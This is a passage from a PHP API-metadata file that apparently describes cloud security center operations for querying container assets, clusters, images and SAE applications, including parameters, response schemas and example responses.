'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Uuids\\": [\\n \\"ec8e305a-0882-4661-87a3-cd7e558d****\\"\\n ],\\n \\"Count\\": 1,\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E****\\"\\n}","type":"json"}]', 'title' => 'ListUuidsByAppId', 'translator' => 'machine', ], 'ListMachineApps' => [ 'summary' => 'Queries Serverless App Engine (SAE) applications.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '227217', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], ], 'parameters' => [ [ 'name' => 'AppRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'ResourceDirectoryUid', 'in' => 'query', 'schema' => [ 'description' => 'The UID of the resource directory.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123456', ], ], [ 'name' => 'AppId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the SAE application.'."\n", 'type' => 'string', 'required' => false, 'example' => '5b41f4bf-349f-4263-89b1-9234c034****', ], ], [ 'name' => 'AppName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the SAE application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agent-commprice-shop', ], ], [ 'name' => 'AuthVersion', 'in' => 'query', 'schema' => [ 'description' => 'The edition of Security Center. Valid values:'."\n" ."\n" .'* **6**: Anti-virus.'."\n" .'* **5**: Advanced.'."\n" .'* **3**: Enterprise.'."\n" .'* **7**: Ultimate.'."\n" .'* **10**: Value-added Plan.'."\n", 'type' => 'string', 'required' => false, 'example' => '7', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult'."\n", 'type' => 'object', 'properties' => [ 'AppList' => [ 'description' => 'The applications.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the application.'."\n", 'type' => 'object', 'properties' => [ 'AppId' => [ 'description' => 'The ID of the SAE application.'."\n", 'type' => 'string', 'example' => '5b41f4bf-349f-4263-89b1-9234c034****', ], 'AppName' => [ 'description' => 'The name of the SAE application.'."\n", 'type' => 'string', 'example' => 'app-ubuntu', ], 'AppRegionId' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '263', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6B****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AppList\\": [\\n {\\n \\"AppId\\": \\"5b41f4bf-349f-4263-89b1-9234c034****\\",\\n \\"AppName\\": \\"app-ubuntu\\",\\n \\"AppRegionId\\": \\"cn-hangzhou\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 263\\n },\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6B****\\"\\n}","type":"json"}]', 'title' => 'ListMachineApps', 'translator' => 'machine', ], 'DescribeContainerTags' => [ 'summary' => 'Queries the details of container assets by using an attribute.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'FieldName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the attribute that is used for the query. Valid values:'."\n" ."\n" .'* **namespace**: the namespace'."\n" .'* **appName**: the application name'."\n" .'* **image**: the image'."\n" .'* **tag**: the tag'."\n", 'type' => 'string', 'required' => true, 'example' => 'namespace', ], ], [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the attribute that is used for the query.'."\n", 'type' => 'string', 'required' => false, 'example' => 'demo4', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 200.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '200', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster to which the container belongs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c22143730ab6e40b09ec7c1c51d4d****', ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-name-01', ], ], [ 'name' => 'AppName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'node-exporter', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', ], 'TagValues' => [ 'description' => 'An array that consists of the attributes of container assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The value of the attribute.'."\n" ."\n" .'* If **FieldName** is set to **namespace**, the value of this parameter is the namespace.'."\n" .'* If **FieldName** is set to **appName**, the value of this parameter is the application name.'."\n" .'* If **FieldName** is set to **image**, the value of this parameter is the image.'."\n" .'* If **FieldName** is set to **tag**, the value of this parameter is the tag.'."\n", 'type' => 'string', 'example' => 'node-exporter'."\n", ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"TagValues\\": [\\n \\"node-exporter\\\\n\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeContainerTags', ], 'DescribeAssetsSecurityEventSummary' => [ 'summary' => 'Queries the risk information about containers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '113.108.XX.XX', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The key of the condition that is used to query on containers. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the container instance'."\n" .'* **clusterId**: the ID of the cluster'."\n" .'* **regionId**: the region ID of the container'."\n" .'* **clusterName**: the name of the cluster'."\n" .'* **image**: the name of the image'."\n" .'* **imageRepoName**: the name of the image repository'."\n" .'* **imageRepoNamespace**: the namespace to which the image repository belongs'."\n" .'* **imageRepoTag**: the tag that is added to the image repository'."\n" .'* **imageDigest**: the digest of the image'."\n" .'* **ClusterType**: the type of the cluster'."\n" .'* **hostIp**: the public IP address'."\n" .'* **pod**: the pod'."\n" .'* **podIp**: the IP address of the pod'."\n" .'* **containerId**: the ID of the container'."\n" .'* **vulStatus**: whether vulnerabilities are detected on the container'."\n" .'* **alarmStatus**: whether alerts are generated for the container'."\n" .'* **riskStatus**: whether risks are detected on the container'."\n" .'* **riskLevel**: the risk level of the container'."\n" .'* **containerScope**: the type of the container'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterName', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the condition that is used to query on containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'arms-prom-operator', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster to which the container belongs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc58f827d893f4d7fb3e34b5d4395****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', ], 'Assets' => [ 'description' => 'An array that consists of risk information about containers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk information about the container.'."\n", 'type' => 'object', 'properties' => [ 'RiskCount' => [ 'description' => 'The number of potential risky assets.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '16', ], 'TotalCount' => [ 'description' => 'The total number of assets.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30', ], 'AssetType' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **namespace**'."\n" .'* **clusters**'."\n" .'* **applications**'."\n" .'* **pods**'."\n" .'* **containers**'."\n" .'* **images**'."\n" .'* **hosts**'."\n", 'type' => 'string', 'example' => 'namespace', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"Assets\\": [\\n {\\n \\"RiskCount\\": 16,\\n \\"TotalCount\\": 30,\\n \\"AssetType\\": \\"namespace\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeAssetsSecurityEventSummary', ], 'DescribeImage' => [ 'summary' => 'Queries an image digest.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ImageRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image.'."\n" ."\n" .'> You can call the [DescribeImageInstances](~~DescribeImageInstances~~) operation to query the IDs of regions.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'ImageInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the image.'."\n" ."\n" .'> You can call the [DescribeImageInstances](~~DescribeImageInstances~~) operation to query the IDs of instances.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cri-hfs6gaawhyu6****', ], ], [ 'name' => 'ImageTag', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is added to the image.'."\n" ."\n" .'> You can call the [DescribeImageInstances](~~DescribeImageInstances~~) operation to query tags.'."\n", 'type' => 'string', 'required' => true, 'example' => '1.8.0.15', ], ], [ 'name' => 'ImageRepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [DescribeImageInstances](~~DescribeImageInstances~~) operation to query the IDs of image repositories.'."\n", 'type' => 'string', 'required' => true, 'example' => 'crr-7i88t7lx3fmf****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'Data' => [ 'description' => 'The information about the image digest.'."\n", 'type' => 'object', 'properties' => [ 'Digest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => '0afb98d97f1a4030782fcf47e186909e5ad957bcc182d8be70334e0684b2****', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"Data\\": {\\n \\"Digest\\": \\"0afb98d97f1a4030782fcf47e186909e5ad957bcc182d8be70334e0684b2****\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeImage', ], 'DescribeClusterInfoList' => [ 'summary' => 'Queries the information about a cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **containerNetwork**: container network'."\n" .'* **interceptionSwitch**: cluster microsegmentation'."\n", 'type' => 'string', 'required' => true, 'example' => 'containerNetwork', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The dimension based on which you want to configure the feature. Valid values:'."\n" ."\n" .'* **Cluster**: the ID of the cluster'."\n", 'type' => 'string', 'required' => true, 'example' => 'Cluster', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The operation value. The value specifies the ID of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c23551de6149343e8a54e69fbefe6****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'ClusterList' => [ 'description' => 'An array that consists of the information about clusters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the cluster.'."\n", 'type' => 'object', 'properties' => [ 'State' => [ 'description' => 'The status of the cluster. Valid values:'."\n" ."\n" .'* **unavailable**: The cluster is unavailable.'."\n" .'* **Available**: The cluster is available.'."\n" .'* **Creating**: The cluster is being created.'."\n" .'* **CreateFailed**: The cluster failed to be created.'."\n", 'type' => 'string', 'example' => 'Available', ], 'ClusterType' => [ 'description' => 'The type of the cluster. Valid values:'."\n" ."\n" .'* **ManagedKubernetes**: managed Kubernetes cluster.'."\n" .'* **NotManagedKubernetes**: non-managed Kubernetes cluster.'."\n" .'* **PrivateKubernetes**: private cluster.'."\n" .'* **kubernetes**: dedicated Kubernetes cluster.'."\n" .'* **ask**: dedicated serverless Kubernetes (ASK) cluster.'."\n", 'type' => 'string', 'example' => 'ManagedKubernetes', ], 'ClusterName' => [ 'description' => 'The name of the container cluster.'."\n", 'type' => 'string', 'example' => 'test111', ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'example' => 'cfeb7a9f99ce740e98c5595d0fe37****', ], 'RegionId' => [ 'description' => 'The region in which the cluster resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'TargetResult' => [ 'description' => 'Indicates whether container network topology was enabled. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"ClusterList\\": [\\n {\\n \\"State\\": \\"Available\\",\\n \\"ClusterType\\": \\"ManagedKubernetes\\",\\n \\"ClusterName\\": \\"test111\\",\\n \\"ClusterId\\": \\"cfeb7a9f99ce740e98c5595d0fe37****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"TargetResult\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeClusterInfoList', ], 'DescribeContainerCriteria' => [ 'summary' => 'Obtains the filter conditions that you can use to filter the containers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'GroupField', 'in' => 'query', 'schema' => [ 'description' => 'The filter condition. Valid values:'."\n" ."\n" .'* **pod**: pod'."\n" .'* **appName**: application name'."\n" .'* **clusterId**: cluster ID'."\n" .'* **namespace**: namespace'."\n" .'* **image**: image'."\n" .'* **containerScan**: container scan'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterId', ], ], [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The value of the filter condition. The value can be an application name, node name, namespace, cluster name, public IP address, pod address, region, pod, instance ID, cluster ID, or container ID. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cfb41a869c71e4678a97021582dd8a****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'CriteriaList' => [ 'description' => 'An array that consists of information about the filter condition.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the filter condition.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **input**: The search condition needs to be specified.'."\n" .'* **select**: The search condition is an option that can be selected from the drop-down list.'."\n", 'type' => 'string', 'example' => 'input', ], 'Name' => [ 'description' => 'The name of the search condition. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the container instance.'."\n" .'* **clusterId**: the cluster ID.'."\n" .'* **regionId**: the ID of the region in which the container resides.'."\n" .'* **clusterName**: the name of the cluster.'."\n" .'* **image**: the name of the image.'."\n" .'* **imageRepoName**: the name of the image repository.'."\n" .'* **imageRepoNamespace**: the namespace of the image repository.'."\n" .'* **imageRepoTag**: the tag of the image repository.'."\n" .'* **imageDigest**: the image digest.'."\n" .'* **ClusterType**: the type of the cluster.'."\n" .'* **hostIp**: the public IP address.'."\n" .'* **pod**: the pod.'."\n" .'* **podIp**: the IP address of the pod.'."\n" .'* **containerId**: the container ID.'."\n" .'* **vulStatus**: indicates whether vulnerabilities exist in the container.'."\n" .'* **alarmStatus**: indicates whether alerts are generated for the container.'."\n" .'* **riskStatus**: indicates whether risks exist in the container.'."\n" .'* **riskLevel**: the risk level of the container.'."\n" .'* **containerScope**: the type of the container.'."\n", 'type' => 'string', 'example' => 'clusterId', ], 'Values' => [ 'description' => 'The values of the search condition. This parameter is returned only if the value of **Type** is set to **select**.'."\n" ."\n" .'> If the value of **Type** is set to **input**, the return value of this parameter is empty.'."\n", 'type' => 'string', 'example' => 'ManagedKubernetes,NotManagedKubernetes,PrivateKubernetes', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"input\\",\\n \\"Name\\": \\"clusterId\\",\\n \\"Values\\": \\"ManagedKubernetes,NotManagedKubernetes,PrivateKubernetes\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeContainerCriteria', ], 'DescribeContainerInstances' => [ 'summary' => 'Queries the information about containers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions that are used to filter containers. The value of this parameter is in the JSON format and is case-sensitive. The value contains the following fields:'."\n" ."\n" .'* **name**: the search condition.'."\n" ."\n" .'* **name**: the value of the search condition.'."\n" ."\n" .'* **logicalExp**: the logical relationship among multiple search conditions. Valid values:'."\n" ."\n" .' * **OR**: Search conditions are evaluated by using a logical **OR**.'."\n" .' * **AND**: Search conditions are evaluated by using a logical **AND**.'."\n" ."\n" .'> You can use search conditions such as the container ID, cluster ID, cluster name, cluster type, risk level, and region. You can call the [DescribeContainerCriteria](~~DescribeContainerCriteria~~) operation to query the supported search conditions.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"name":"flag","value":"0|8","logicalExp":"AND"},{"name":"ecsType","value":"!8","logicalExp":"AND"}][{"name":"clusterType","value":"NotManagedKubernetes","logicalExp":"AND"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical operator that you want to use to evaluate multiple search conditions. Valid values:'."\n" ."\n" .'* **OR**: Search conditions are evaluated by using a logical **OR**.'."\n" .'* **AND**: Search conditions are evaluated by using a logical **AND**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'AND', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '45', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], 'ContainerInstanceList' => [ 'description' => 'The details of the container asset.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the container.'."\n", 'type' => 'object', 'properties' => [ 'ImageRepoTag' => [ 'description' => 'The tag that is added to the image.'."\n", 'type' => 'string', 'example' => '0.3.1.0-dfa2010-aliyun', ], 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'alibaba-log-controller', ], 'PodIp' => [ 'description' => 'The IP address of the pod.'."\n", 'type' => 'string', 'example' => '172.24.XX.XX', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities that are detected in the container cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'HcStatus' => [ 'description' => 'Indicates whether baseline risks are detected. Valid values:'."\n" ."\n" .'* **NO**'."\n" .'* **YES**'."\n", 'type' => 'string', 'example' => 'YES', ], 'ImageId' => [ 'description' => 'The image ID.'."\n", 'type' => 'string', 'example' => 'registry-vpc.cn-beijing.aliyuncs.com/acs/log-controller@sha256:5b046e2de8c490819125193ee2eb71a66f2cc16c032dcd8b69ead4be1024****', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'cfb41a869c71e4678a97021582dd8a****', ], 'ImageRepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'log-controller', ], 'HostIp' => [ 'description' => 'The IP address of the host.'."\n", 'type' => 'string', 'example' => '172.24.XX.XX', ], 'Pod' => [ 'description' => 'The pod.'."\n", 'type' => 'string', 'example' => 'alibaba-log-controller-6f847f8786-mk2mg', ], 'RiskStatus' => [ 'description' => 'Indicates whether risks exist. Valid values:'."\n" ."\n" .'* **NO**'."\n" .'* **YES**'."\n", 'type' => 'string', 'example' => 'YES', ], 'VulStatus' => [ 'description' => 'Indicates whether vulnerabilities are detected in the container. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'YES', ], 'AlarmStatus' => [ 'description' => 'Indicates whether alerts are generated for the container. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'YES', ], 'Image' => [ 'description' => 'The image of the container.'."\n", 'type' => 'string', 'example' => 'docker.io/library/nginx:latest', ], 'ImageRepoNamespace' => [ 'description' => 'The namespace of the image repository.'."\n", 'type' => 'string', 'example' => 'acs', ], 'ImageDigest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => '5b046e2de8c490819125193ee2eb71a66f2cc16c032dcd8b69ead4be1024****', ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'kube-system', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'example' => 'i-2zegzjyotydfkz9****', ], 'NodeInfo' => [ 'description' => 'The node information.'."\n", 'type' => 'string', 'example' => 'test', ], 'ImageUuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => '5f23dfbceec289a49ac94e035e2****', ], 'RegionId' => [ 'description' => 'The region ID of the container.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'UpdateMark' => [ 'description' => 'The update identifier of the container.'."\n", 'type' => 'string', 'example' => '79cff74d-e967-5407-8a78-ee03b9****', ], 'ContainerId' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'example' => '48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d****', ], 'NodeName' => [ 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'test', ], 'HcCount' => [ 'description' => 'The number of baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterName' => [ 'description' => 'The cluster name.'."\n", 'type' => 'string', 'example' => 'test', ], 'RiskCount' => [ 'description' => 'The number of risks.'."\n", 'type' => 'string', 'example' => '1', ], 'AlarmCount' => [ 'description' => 'The number of alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CreateTimestamp' => [ 'description' => 'The timestamp when the cluster was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1670368337000', ], 'Exposed' => [ 'description' => 'Indicates whether the asset is exposed to the Internet.'."\n" ."\n" .'* **1**: exposed'."\n" .'* **0**: not exposed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ExposedDetail' => [ 'description' => 'The exposure details. The value is a JSON string.'."\n", 'type' => 'string', 'example' => '[{}]', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n 